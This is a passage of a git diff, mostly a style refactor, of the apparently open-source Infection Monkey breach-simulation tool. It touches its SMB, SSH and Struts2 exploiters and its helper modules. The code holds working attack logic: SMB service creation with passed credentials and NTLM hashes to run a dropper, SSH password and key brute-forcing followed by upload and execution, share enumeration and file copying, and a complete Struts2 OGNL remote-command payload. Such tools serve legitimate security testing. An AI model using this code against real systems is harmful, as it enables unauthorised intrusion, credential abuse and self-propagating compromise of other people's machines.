get_monkey_depth() - 1, - vulnerable_port=self.vulnerable_port) + cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % { + "monkey_path": remote_full_path + } + build_monkey_commandline( + self.host, get_monkey_depth() - 1, vulnerable_port=self.vulnerable_port + ) smb_conn = False for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,)) rpctransport.set_dport(port) rpctransport.setRemoteHost(self.host.ip_addr) - if hasattr(rpctransport, 'set_credentials'): + if hasattr(rpctransport, "set_credentials"): # This method exists only for selected protocol sequences. - rpctransport.set_credentials(user, password, '', lm_hash, ntlm_hash, None) + rpctransport.set_credentials(user, password, "", lm_hash, ntlm_hash, None) rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS) scmr_rpc = rpctransport.get_dce_rpc() @@ -127,7 +145,12 @@ class SmbExploiter(HostExploiter): try: scmr_rpc.connect() except Exception as exc: - LOG.debug("Can't connect to SCM on exploited machine %r port %s : %s", self.host, port, exc) + LOG.debug( + "Can't connect to SCM on exploited machine %r port %s : %s", + self.host, + port, + exc, + ) continue smb_conn = rpctransport.get_smb_connection() @@ -139,33 +162,47 @@ class SmbExploiter(HostExploiter): smb_conn.setTimeout(100000) scmr_rpc.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(scmr_rpc) - sc_handle = resp['lpScHandle'] + sc_handle = resp["lpScHandle"] # start the monkey using the SCM - resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, self._config.smb_service_name, self._config.smb_service_name, - lpBinaryPathName=cmdline) - service = resp['lpServiceHandle'] + resp = scmr.hRCreateServiceW( + scmr_rpc, + sc_handle, + self._config.smb_service_name, + self._config.smb_service_name, + lpBinaryPathName=cmdline, + ) + service = resp["lpServiceHandle"] try: scmr.hRStartServiceW(scmr_rpc, service) status = ScanStatus.USED - except: + except Exception: status = ScanStatus.SCANNED pass T1035Telem(status, UsageEnum.SMB).send() scmr.hRDeleteService(scmr_rpc, service) scmr.hRCloseServiceHandle(scmr_rpc, service) - LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", - remote_full_path, self.host, cmdline) + LOG.info( + "Executed monkey '%s' on remote victim %r (cmdline=%r)", + remote_full_path, + self.host, + cmdline, + ) - self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1], - SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1])) + self.add_vuln_port( + "%s or %s" + % ( + SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], + SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], + ) + ) return True def set_vulnerable_port(self): - if 'tcp-445' in self.host.services: + if "tcp-445" in self.host.services: self.vulnerable_port = "445" - elif 'tcp-139' in self.host.services: + elif "tcp-139" in self.host.services: self.vulnerable_port = "139" else: self.vulnerable_port = None diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index b96a6c2b6..cf3a71986 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -9,13 +9,12 @@ from common.utils.attack_utils import ScanStatus from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port, get_interface_to_target from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem - -__author__ = 'hoffer' +from infection_monkey.utils.commands import build_monkey_commandline LOG = logging.getLogger(__name__) SSH_PORT = 22 @@ -23,9 +22,9 @@ TRANSFER_UPDATE_RATE = 15 class SSHExploiter(HostExploiter): - _TARGET_OS_TYPE = ['linux', None] + _TARGET_OS_TYPE = ["linux", None] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE - _EXPLOITED_SERVICE = 'SSH' + _EXPLOITED_SERVICE = "SSH" def __init__(self, host): super(SSHExploiter, self).__init__(host) @@ -42,29 +41,27 @@ class SSHExploiter(HostExploiter): for user, ssh_key_pair in user_ssh_key_pairs: # Creating file-like private key for paramiko - pkey = io.StringIO(ssh_key_pair['private_key']) - ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip']) + pkey = io.StringIO(ssh_key_pair["private_key"]) + ssh_string = "%s@%s" % (ssh_key_pair["user"], ssh_key_pair["ip"]) ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) try: pkey = paramiko.RSAKey.from_private_key(pkey) - except(IOError, paramiko.SSHException, paramiko.PasswordRequiredException): + except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException): LOG.error("Failed reading ssh key") try: - ssh.connect(self.host.ip_addr, - username=user, - pkey=pkey, - port=port) - LOG.debug("Successfully logged in %s using %s users private key", - self.host, ssh_string) + ssh.connect(self.host.ip_addr, username=user, pkey=pkey, port=port) + LOG.debug( + "Successfully logged in %s using %s users private key", self.host, ssh_string + ) self.report_login_attempt(True, user, ssh_key=ssh_string) return ssh except Exception: ssh.close() - LOG.debug("Error logging into victim %r with %s" - " private key", self.host, - ssh_string) + LOG.debug( + "Error logging into victim %r with %s" " private key", self.host, ssh_string + ) self.report_login_attempt(False, user, ssh_key=ssh_string) continue raise FailedExploitationError @@ -77,21 +74,27 @@ class SSHExploiter(HostExploiter): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) try: - ssh.connect(self.host.ip_addr, - username=user, - password=current_password, - port=port) + ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port) - LOG.debug("Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)", - self.host, user, self._config.hash_sensitive_data(current_password)) + LOG.debug( + "Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)", + self.host, + user, + self._config.hash_sensitive_data(current_password), + ) self.add_vuln_port(port) self.report_login_attempt(True, user, current_password) return ssh except Exception as exc: - LOG.debug("Error logging into victim %r with user" - " %s and password (SHA-512) '%s': (%s)", self.host, - user, self._config.hash_sensitive_data(current_password), exc) + LOG.debug( + "Error logging into victim %r with user" + " %s and password (SHA-512) '%s': (%s)", + self.host, + user, + self._config.hash_sensitive_data(current_password), + exc, + ) self.report_login_attempt(False, user, current_password) ssh.close() continue @@ -102,8 +105,8 @@ class SSHExploiter(HostExploiter): port = SSH_PORT # if ssh banner found on different port, use that port. for servkey, servdata in list(self.host.services.items()): - if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'): - port = int(servkey.replace('tcp-', '')) + if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): + port = int(servkey.replace("tcp-", "")) is_open, _ = check_tcp_port(self.host.ip_addr, port) if not is_open: @@ -119,12 +122,12 @@ class SSHExploiter(HostExploiter): LOG.debug("Exploiter SSHExploiter is giving up...") return False - if not self.host.os.get('type'): + if not self.host.os.get("type"): try: - _, stdout, _ = ssh.exec_command('uname -o') + _, stdout, _ = ssh.exec_command("uname -o") uname_os = stdout.read().lower().strip().decode() - if 'linux' in uname_os: - self.host.os['type'] = 'linux' + if "linux" in uname_os: + self.host.os["type"] = "linux" else: LOG.info("SSH Skipping unknown os: %s", uname_os) return False @@ -132,21 +135,26 @@ class SSHExploiter(HostExploiter): LOG.debug("Error running uname os command on victim %r: (%s)", self.host, exc) return False - if not self.host.os.get('machine'): + if not self.host.os.get("machine"): try: - _, stdout, _ = ssh.exec_command('uname -m') + _, stdout, _ = ssh.exec_command("uname -m") uname_machine = stdout.read().lower().strip().decode() - if '' != uname_machine: - self.host.os['machine'] = uname_machine + if "" != uname_machine: + self.host.os["machine"] = uname_machine except Exception as exc: LOG.debug("Error running uname machine command on victim %r: (%s)", self.host, exc) if self.skip_exist: - _, stdout, stderr = ssh.exec_command("head -c 1 %s" % self._config.dropper_target_path_linux) + _, stdout, stderr = ssh.exec_command( + "head -c 1 %s" % self._config.dropper_target_path_linux + ) stdout_res = stdout.read().strip() if stdout_res: # file exists - LOG.info("Host %s was already infected under the current configuration, done" % self.host) + LOG.info( + "Host %s was already infected under the current configuration, " + "done" % self.host + ) return True # return already infected src_path = get_target_monkey(self.host) @@ -160,33 +168,44 @@ class SSHExploiter(HostExploiter): self._update_timestamp = time.time() with monkeyfs.open(src_path) as file_obj: - ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path), - callback=self.log_transfer) + ftp.putfo( + file_obj, + self._config.dropper_target_path_linux, + file_size=monkeyfs.getsize(src_path), + callback=self.log_transfer, + ) ftp.chmod(self._config.dropper_target_path_linux, 0o777) status = ScanStatus.USED - T1222Telem(ScanStatus.USED, "chmod 0777 %s" % self._config.dropper_target_path_linux, self.host).send() + T1222Telem( + ScanStatus.USED, + "chmod 0777 %s" % self._config.dropper_target_path_linux, + self.host, + ).send() ftp.close() except Exception as exc: LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc) status = ScanStatus.SCANNED - T1105Telem(status, - get_interface_to_target(self.host.ip_addr), - self.host.ip_addr, - src_path).send() + T1105Telem( + status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path + ).send() if status == ScanStatus.SCANNED: return False try: cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) - cmdline += build_monkey_commandline(self.host, - get_monkey_depth() - 1, - vulnerable_port=SSH_PORT) + cmdline += build_monkey_commandline( + self.host, get_monkey_depth() - 1, vulnerable_port=SSH_PORT + ) cmdline += " > /dev/null 2>&1 &" ssh.exec_command(cmdline) - LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, self.host, cmdline) + LOG.info( + "Executed monkey '%s' on remote victim %r (cmdline=%r)", + self._config.dropper_target_path_linux, + self.host, + cmdline, + ) ssh.close() self.add_executed_cmd(cmdline) diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py index 9aba749a7..d798960bf 100644 --- a/monkey/infection_monkey/exploit/struts2.py +++ b/monkey/infection_monkey/exploit/struts2.py @@ -13,29 +13,28 @@ import urllib.request from infection_monkey.exploit.web_rce import WebRCE -__author__ = "VakarisZ" - LOG = logging.getLogger(__name__) DOWNLOAD_TIMEOUT = 300 class Struts2Exploiter(WebRCE): - _TARGET_OS_TYPE = ['linux', 'windows'] - _EXPLOITED_SERVICE = 'Struts2' + _TARGET_OS_TYPE = ["linux", "windows"] + _EXPLOITED_SERVICE = "Struts2" def __init__(self, host): super(Struts2Exploiter, self).__init__(host, None) def get_exploit_config(self): exploit_config = super(Struts2Exploiter, self).get_exploit_config() - exploit_config['dropper'] = True + exploit_config["dropper"] = True return exploit_config def build_potential_urls(self, ports, extensions=None): """ We need to override this method to get redirected url's - :param ports: Array of ports. One port is described as size 2 array: [port.no(int), isHTTPS?(bool)] + :param ports: Array of ports. One port is described as size 2 array: [port.no(int), + isHTTPS?(bool)] Eg. ports: [[80, False], [443, True]] :param extensions: What subdirectories to scan. www.domain.com[/extension] :return: Array of url's to try and attack @@ -47,10 +46,12 @@ class Struts2Exploiter(WebRCE): @staticmethod def get_redirected(url): # Returns false if url is not right - headers = {'User-Agent': 'Mozilla/5.0'} + headers = {"User-Agent": "Mozilla/5.0"} request = urllib.request.Request(url, headers=headers) try: - return urllib.request.urlopen(request, context=ssl._create_unverified_context()).geturl() + return urllib.request.urlopen( + request, context=ssl._create_unverified_context() # noqa: DUO122 + ).geturl() except urllib.error.URLError: LOG.error("Can't reach struts2 server") return False @@ -63,24 +64,26 @@ class Struts2Exploiter(WebRCE): """ cmd = re.sub(r"\\", r"\\\\", cmd) cmd = re.sub(r"'", r"\\'", cmd) - payload = "%%{(#_='multipart/form-data')." \ - "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \ - "(#_memberAccess?" \ - "(#_memberAccess=#dm):" \ - "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \ - "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \ - "(#ognlUtil.getExcludedPackageNames().clear())." \ - "(#ognlUtil.getExcludedClasses().clear())." \ - "(#context.setMemberAccess(#dm))))." \ - "(#cmd='%s')." \ - "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \ - "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \ - "(#p=new java.lang.ProcessBuilder(#cmds))." \ - "(#p.redirectErrorStream(true)).(#process=#p.start())." \ - "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \ - "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \ - "(#ros.flush())}" % cmd - headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} + payload = ( + "%%{(#_='multipart/form-data')." + "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." + "(#_memberAccess?" + "(#_memberAccess=#dm):" + "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." + "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." + "(#ognlUtil.getExcludedPackageNames().clear())." + "(#ognlUtil.getExcludedClasses().clear())." + "(#context.setMemberAccess(#dm))))." + "(#cmd='%s')." + "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." + "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." + "(#p=new java.lang.ProcessBuilder(#cmds))." + "(#p.redirectErrorStream(true)).(#process=#p.start())." + "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." + "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." + "(#ros.flush())}" % cmd + ) + headers = {"User-Agent": "Mozilla/5.0", "Content-Type": payload} try: request = urllib.request.Request(url, headers=headers) # Timeout added or else we would wait for all monkeys' output diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 901202d2d..f7f6eadb8 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -19,19 +19,21 @@ def get_target_monkey(host): if host.monkey_exe: return host.monkey_exe - if not host.os.get('type'): + if not host.os.get("type"): return None monkey_path = ControlClient.download_monkey_exe(host) - if host.os.get('machine') and monkey_path: + if host.os.get("machine") and monkey_path: host.monkey_exe = monkey_path if not monkey_path: - if host.os.get('type') == platform.system().lower(): - # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe - if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \ - host.os.get('machine', '').lower() == platform.machine().lower(): + if host.os.get("type") == platform.system().lower(): + # if exe not found, and we have the same arch or arch is unknown and we are 32bit, + # use our exe + if (not host.os.get("machine") and sys.maxsize < 2 ** 32) or host.os.get( + "machine", "" + ).lower() == platform.machine().lower(): monkey_path = sys.executable return monkey_path @@ -39,39 +41,13 @@ def get_target_monkey(host): def get_target_monkey_by_os(is_windows, is_32bit): from infection_monkey.control import ControlClient + return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) -def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None, - vulnerable_port=None): - cmdline = "" - - if parent is not None: - cmdline += f" -p {parent}" - if tunnel is not None: - cmdline += f" -t {tunnel}" - if server is not None: - cmdline += f" -s {server}" - if depth is not None: - if int(depth) < 0: - depth = 0 - cmdline += f" -d {depth}" - if location is not None: - cmdline += f" -l {location}" - if vulnerable_port is not None: - cmdline += f" -vp {vulnerable_port}" - - return cmdline - - -def build_monkey_commandline(target_host, depth, vulnerable_port, location=None): - from infection_monkey.config import GUID - return build_monkey_commandline_explicitly( - GUID, target_host.default_tunnel, target_host.default_server, depth, location, vulnerable_port) - - def get_monkey_depth(): from infection_monkey.config import WormConfiguration + return WormConfiguration.depth @@ -82,21 +58,26 @@ def get_monkey_dest_path(url_to_monkey): :return: Corresponding monkey path from configuration """ from infection_monkey.config import WormConfiguration - if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey): + + if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey): LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey) return False try: - if 'linux' in url_to_monkey: + if "linux" in url_to_monkey: return WormConfiguration.dropper_target_path_linux - elif 'windows-32' in url_to_monkey: + elif "windows-32" in url_to_monkey: return WormConfiguration.dropper_target_path_win_32 - elif 'windows-64' in url_to_monkey: + elif "windows-64" in url_to_monkey: return WormConfiguration.dropper_target_path_win_64 else: - LOG.error("Could not figure out what type of monkey server was trying to upload, " - "thus destination path can not be chosen.") + LOG.error( + "Could not figure out what type of monkey server was trying to upload, " + "thus destination path can not be chosen." + ) return False except AttributeError: - LOG.error("Seems like monkey's source configuration property names changed. " - "Can not get destination path to upload monkey") + LOG.error( + "Seems like monkey's source configuration property names changed. " + "Can not get destination path to upload monkey" + ) return False diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index 3857c2cc9..8d2aca2fc 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -13,13 +13,10 @@ from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.tools import get_interface_to_target from infection_monkey.transport import HTTPServer, LockedHTTPServer -__author__ = 'itamar' - LOG = logging.getLogger(__name__) class HTTPTools(object): - @staticmethod def create_transfer(host, src_path, local_ip=None, local_port=None): if not local_port: @@ -35,11 +32,17 @@ class HTTPTools(object): httpd.daemon = True httpd.start() - return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd + return ( + "http://%s:%s/%s" + % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), + httpd, + ) @staticmethod def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None): - http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, local_ip, local_port) + http_path, http_thread = HTTPTools.create_locked_transfer( + host, src_path, local_ip, local_port + ) if not http_path: raise Exception("Http transfer creation failed.") LOG.info("Started http server on %s", http_path) @@ -71,7 +74,11 @@ class HTTPTools(object): httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) httpd.start() lock.acquire() - return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd + return ( + "http://%s:%s/%s" + % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), + httpd, + ) @staticmethod def get_port_from_url(url: str) -> int: @@ -88,7 +95,9 @@ class MonkeyHTTPServer(HTTPTools): def start(self): # Get monkey exe for host and it's path src_path = try_get_target_monkey(self.host) - self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(self.host, src_path) + self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer( + self.host, src_path + ) def stop(self): if not self.http_path or not self.http_thread: diff --git a/monkey/infection_monkey/exploit/tools/payload_parsing.py b/monkey/infection_monkey/exploit/tools/payload_parsing.py index 5c4415fe3..2d38b593c 100644 --- a/monkey/infection_monkey/exploit/tools/payload_parsing.py +++ b/monkey/infection_monkey/exploit/tools/payload_parsing.py @@ -17,7 +17,8 @@ class Payload(object): def get_payload(self, command=""): """ Returns prefixed and suffixed command (payload) - :param command: Command to suffix/prefix. If no command is passed than objects' property is used + :param command: Command to suffix/prefix. If no command is passed than objects' property + is used :return: prefixed and suffixed command (full payload) """ if not command: @@ -45,15 +46,18 @@ class LimitedSizePayload(Payload): def split_into_array_of_smaller_payloads(self): if self.is_suffix_and_prefix_too_long(): - raise Exception("Can't split command into smaller sub-commands because commands' prefix and suffix already " - "exceeds required length of command.") + raise Exception( + "Can't split command into smaller sub-commands because commands' prefix and " + "suffix already " + "exceeds required length of command." + ) elif self.command == "": return [self.prefix + self.suffix] - wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length()) - commands = [self.get_payload(part) - for part - in wrapper.wrap(self.command)] + wrapper = textwrap.TextWrapper( + drop_whitespace=False, width=self.get_max_sub_payload_length() + ) + commands = [self.get_payload(part) for part in wrapper.wrap(self.command)] return commands def get_max_sub_payload_length(self): diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index e5185b266..f7a8d8cb6 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -13,36 +13,40 @@ from infection_monkey.config import Configuration from infection_monkey.network.tools import get_interface_to_target from infection_monkey.telemetry.attack.t1105_telem import T1105Telem -__author__ = 'itamar' - LOG = logging.getLogger(__name__) class SmbTools(object): - @staticmethod - def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60): + def copy_file( + host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60 + ): assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,) config = infection_monkey.config.WormConfiguration src_file_size = monkeyfs.getsize(src_path) - smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) + smb, dialect = SmbTools.new_smb_connection( + host, username, password, lm_hash, ntlm_hash, timeout + ) if not smb: return None # skip guest users if smb.isGuestSession() > 0: - LOG.debug("Connection to %r granted guest privileges with user: %s, password (SHA-512): '%s'," - " LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", - host, - username, - Configuration.hash_sensitive_data(password), - Configuration.hash_sensitive_data(lm_hash), - Configuration.hash_sensitive_data(ntlm_hash)) + LOG.debug( + "Connection to %r granted guest privileges with user: %s, password (SHA-512): " + "'%s'," + " LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", + host, + username, + Configuration.hash_sensitive_data(password), + Configuration.hash_sensitive_data(lm_hash), + Configuration.hash_sensitive_data(ntlm_hash), + ) try: smb.logoff() - except: + except Exception: pass return None @@ -50,53 +54,57 @@ class SmbTools(object): try: resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102) except Exception as exc: - LOG.debug("Error requesting server info from %r over SMB: %s", - host, exc) + LOG.debug("Error requesting server info from %r over SMB: %s", host, exc) return None - info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'], - 'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'], - 'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "), - 'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "), - 'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "), - 'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']} + info = { + "major_version": resp["InfoStruct"]["ServerInfo102"]["sv102_version_major"], + "minor_version": resp["InfoStruct"]["ServerInfo102"]["sv102_version_minor"], + "server_name": resp["InfoStruct"]["ServerInfo102"]["sv102_name"].strip("\0 "), + "server_comment": resp["InfoStruct"]["ServerInfo102"]["sv102_comment"].strip("\0 "), + "server_user_path": resp["InfoStruct"]["ServerInfo102"]["sv102_userpath"].strip("\0 "), + "simultaneous_users": resp["InfoStruct"]["ServerInfo102"]["sv102_users"], + } - LOG.debug("Connected to %r using %s:\n%s", - host, dialect, pprint.pformat(info)) + LOG.debug("Connected to %r using %s:\n%s", host, dialect, pprint.pformat(info)) try: resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2) except Exception as exc: - LOG.debug("Error enumerating server shares from %r over SMB: %s", - host, exc) + LOG.debug("Error enumerating server shares from %r over SMB: %s", host, exc) return None - resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer'] + resp = resp["InfoStruct"]["ShareInfo"]["Level2"]["Buffer"] high_priority_shares = () low_priority_shares = () file_name = ntpath.split(dst_path)[-1] for i in range(len(resp)): - share_name = resp[i]['shi2_netname'].strip("\0 ") - share_path = resp[i]['shi2_path'].strip("\0 ") - current_uses = resp[i]['shi2_current_uses'] - max_uses = resp[i]['shi2_max_uses'] + share_name = resp[i]["shi2_netname"].strip("\0 ") + share_path = resp[i]["shi2_path"].strip("\0 ") + current_uses = resp[i]["shi2_current_uses"] + max_uses = resp[i]["shi2_max_uses"] if current_uses >= max_uses: - LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded", - share_name, host) + LOG.debug( + "Skipping share '%s' on victim %r because max uses is exceeded", + share_name, + host, + ) continue elif not share_path: - LOG.debug("Skipping share '%s' on victim %r because share path is invalid", - share_name, host) + LOG.debug( + "Skipping share '%s' on victim %r because share path is invalid", + share_name, + host, + ) continue - share_info = {'share_name': share_name, - 'share_path': share_path} + share_info = {"share_name": share_name, "share_path": share_path} if dst_path.lower().startswith(share_path.lower()): - high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),) + high_priority_shares += ((ntpath.sep + dst_path[len(share_path) :], share_info),) low_priority_shares += ((ntpath.sep + file_name, share_info),) @@ -104,23 +112,31 @@ class SmbTools(object): file_uploaded = False for remote_path, share in shares: - share_name = share['share_name'] - share_path = share['share_path'] + share_name = share["share_name"] + share_path = share["share_path"] if not smb: - smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout) + smb, _ = SmbTools.new_smb_connection( + host, username, password, lm_hash, ntlm_hash, timeout + ) if not smb: return None try: - tid = smb.connectTree(share_name) + smb.connectTree(share_name) except Exception as exc: - LOG.debug("Error connecting tree to share '%s' on victim %r: %s", - share_name, host, exc) + LOG.debug( + "Error connecting tree to share '%s' on victim %r: %s", share_name, host, exc + ) continue - LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r", - share_name, share_path, remote_path, host.ip_addr[0], ) + LOG.debug( + "Trying to copy monkey file to share '%s' [%s + %s] on victim %r", + share_name, + share_path, + remote_path, + host.ip_addr[0], + ) remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep)) @@ -133,75 +149,87 @@ class SmbTools(object): LOG.debug("Remote monkey file is same as source, skipping copy") return remote_full_path - LOG.debug("Remote monkey file is found but different, moving along with attack") - except: + LOG.debug( + "Remote monkey file is found but different, moving along with " "attack" + ) + except Exception: pass # file isn't found on remote victim, moving on try: - with monkeyfs.open(src_path, 'rb') as source_file: + with monkeyfs.open(src_path, "rb") as source_file: # make sure of the timeout smb.setTimeout(timeout) smb.putFile(share_name, remote_path, source_file.read) file_uploaded = True - T1105Telem(ScanStatus.USED, - get_interface_to_target(host.ip_addr), - host.ip_addr, - dst_path).send() - LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r", - src_path, share_name, share_path, host) + T1105Telem( + ScanStatus.USED, get_interface_to_target(host.ip_addr), host.ip_addr, dst_path + ).send() + LOG.info( + "Copied monkey file '%s' to remote share '%s' [%s] on victim %r", + src_path, + share_name, + share_path, + host, + ) break except Exception as exc: - LOG.debug("Error uploading monkey to share '%s' on victim %r: %s", - share_name, host, exc) - T1105Telem(ScanStatus.SCANNED, - get_interface_to_target(host.ip_addr), - host.ip_addr, - dst_path).send() + LOG.debug( + "Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc + ) + T1105Telem( + ScanStatus.SCANNED, + get_interface_to_target(host.ip_addr), + host.ip_addr, + dst_path, + ).send() continue finally: try: smb.logoff() - except: + except Exception: pass smb = None if not file_uploaded: - LOG.debug("Couldn't find a writable share for exploiting victim %r with " - "username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", - host, - username, - Configuration.hash_sensitive_data(password), - Configuration.hash_sensitive_data(lm_hash), - Configuration.hash_sensitive_data(ntlm_hash)) + LOG.debug( + "Couldn't find a writable share for exploiting victim %r with " + "username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (" + "SHA-512): %s", + host, + username, + Configuration.hash_sensitive_data(password), + Configuration.hash_sensitive_data(lm_hash), + Configuration.hash_sensitive_data(ntlm_hash), + ) return None return remote_full_path @staticmethod - def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60): + def new_smb_connection(host, username, password, lm_hash="", ntlm_hash="", timeout=60): try: smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445) except Exception as exc: - LOG.debug("SMB connection to %r on port 445 failed," - " trying port 139 (%s)", host, exc) + LOG.debug("SMB connection to %r on port 445 failed," " trying port 139 (%s)", host, exc) try: - smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139) + smb = SMBConnection("*SMBSERVER", host.ip_addr, sess_port=139) except Exception as exc: - LOG.debug("SMB connection to %r on port 139 failed as well (%s)", - host, exc) + LOG.debug("SMB connection to %r on port 139 failed as well (%s)", host, exc) return None, None - dialect = {SMB_DIALECT: "SMBv1", - SMB2_DIALECT_002: "SMBv2.0", - SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0") + dialect = { + SMB_DIALECT: "SMBv1", + SMB2_DIALECT_002: "SMBv2.0", + SMB2_DIALECT_21: "SMBv2.1", + }.get(smb.getDialect(), "SMBv3.0") # we know this should work because the WMI connection worked try: - smb.login(username, password, '', lm_hash, ntlm_hash) + smb.login(username, password, "", lm_hash, ntlm_hash) except Exception as exc: LOG.debug( "Error while logging into %r using user: %s, password (SHA-512): '%s', " @@ -211,7 +239,8 @@ class SmbTools(object): Configuration.hash_sensitive_data(password), Configuration.hash_sensitive_data(lm_hash), Configuration.hash_sensitive_data(ntlm_hash), - exc) + exc, + ) return None, dialect smb.setTimeout(timeout) @@ -228,10 +257,9 @@ class 